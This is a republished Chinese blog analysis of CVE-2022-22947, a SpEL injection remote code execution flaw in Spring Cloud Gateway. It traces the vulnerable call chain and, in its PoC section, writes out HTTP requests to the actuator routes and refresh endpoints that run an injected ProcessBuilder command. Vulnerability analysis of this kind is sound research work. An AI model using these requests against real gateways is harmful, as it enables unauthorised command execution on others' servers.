CVE-2022-22947 SpringCloud GateWay SPEL RCE分析

admin 2022年7月15日01:56:28评论52 views字数 2625阅读8分45秒阅读模式

声明:本公众号文章来自作者日常学习笔记或授权后的网络转载,切勿利用文章内的相关技术从事任何非法活动,因此产生的一切后果与文章作者和本公众号无关!


0x00 环境搭建


有段时间没有写文章了(忙现实去了hhh),今天水一篇SpringCloud GateWay SPEL RCE,刚好前段时间遇到了,Exp打起来确实爽,但还是要了解它背后的原理

git clone https://github.com/spring-cloud/spring-cloud-gatewaycd spring-cloud-gatewaygit checkout v3.1.0


0x01 漏洞分析


首先这个漏洞的本质就是一个Spel表达式注入。漏洞的触发点位于org/springframework/cloud/gateway/support/ShortcutConfigurable.java#getValue,看diff点可以发现在安全版本中官方将StandardEvaluationContext更换为了GatewayEvaluationContext去执行Spel表达式


CVE-2022-22947 SpringCloud GateWay SPEL RCE分析


我们回溯一下getValue这个方法,发现在org/springframework/cloud/gateway/support/ShortcutConfigurable.java#ShortcutType这个枚举中的DEFAULT被调用


CVE-2022-22947 SpringCloud GateWay SPEL RCE分析


那么就去跟一下哪里调了ShortcutType.DEFAULT,发现在org/springframework/cloud/gateway/support/ShortcutConfigurable.java#shortcutType调用了它


CVE-2022-22947 SpringCloud GateWay SPEL RCE分析


最终在org/springframework/cloud/gateway/support/ConfigurationService.java#normalizeProperties对filter属性进行解析,最后进入getValue执行SPEL表达式造成SPEL表达式注入。


CVE-2022-22947 SpringCloud GateWay SPEL RCE分析


继续向上,来到org.springframework.cloud.gateway.route.RouteDefinitionRouteLocator#loadGatewayFilters,根据这个方法的名字大概也能猜出它的做作用,就是添加路由filters


CVE-2022-22947 SpringCloud GateWay SPEL RCE分析


继续重复之前的操作(向上回溯),会找到这么一条调用链

RouteDefinitionRouteLocator#loadGatewayFilters -> RouteDefinitionRouteLocator#getFilters -> RouteDefinitionRouteLocator#convertToRoute -> RouteDefinitionRouteLocator#getRoutes -> GatewayControllerEndpoint#routes


CVE-2022-22947 SpringCloud GateWay SPEL RCE分析


整体的攻击流程大致了解了,就是添加路由filter然后访问,通过getValue触发Spel注入最终完成RCE,那么怎么添加路由呢?我们去看下手册https://cloud.spring.io/spring-cloud-gateway/multi/multi__actuator_api.html


CVE-2022-22947 SpringCloud GateWay SPEL RCE分析


来到org.springframework.cloud.gateway.actuate.AbstractGatewayControllerEndpoint#save,可以看到POST的请求体对应的内容


CVE-2022-22947 SpringCloud GateWay SPEL RCE分析


Filters内容


CVE-2022-22947 SpringCloud GateWay SPEL RCE分析


0x02 构造PoC


首先创建路由filter

POST /actuator/gateway/routes/test HTTP/1.1Host: localhost:8080Accept-Encoding: gzip, deflateAccept: */*Accept-Language: enUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/97.0.4692.71 Safari/537.36Connection: closeContent-Type: application/jsonContent-Length: 212
{ "id": "test", "filters": [{ "name": "AddResponseHeader", "args": { "name": "any", "value": "#{new ProcessBuilder("calc").start()}" } }], "uri": "http://test.com"}


发包可以发现payload已经注入进filter了


CVE-2022-22947 SpringCloud GateWay SPEL RCE分析


接下来刷新一下

POST /actuator/gateway/refresh HTTP/1.1Host: localhost:8080Accept-Encoding: gzip, deflateAccept: */*Accept-Language: enUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/97.0.4692.71 Safari/537.36Connection: closeContent-Type: application/x-www-form-urlencodedContent-Length: 2


首先在org.springframework.cloud.gateway.support.ConfigurationService.ConfigurableBuilder#normalizeProperties遍历filters属性


CVE-2022-22947 SpringCloud GateWay SPEL RCE分析


接着通过org.springframework.cloud.gateway.support.ShortcutConfigurable.ShortcutType#normalize调getValue解析属性


CVE-2022-22947 SpringCloud GateWay SPEL RCE分析


造成Spel注入


CVE-2022-22947 SpringCloud GateWay SPEL RCE分析


最终解锁计算器


CVE-2022-22947 SpringCloud GateWay SPEL RCE分析


0x03 参考


  • https://www.cnblogs.com/bitterz/p/15964852.html

  • https://xz.aliyun.com/t/11004#toc-1

原文始发于微信公众号(安全日记):CVE-2022-22947 SpringCloud GateWay SPEL RCE分析

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2022年7月15日01:56:28
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   CVE-2022-22947 SpringCloud GateWay SPEL RCE分析http://cn-sec.com/archives/1178399.html

发表评论

匿名网友 填写信息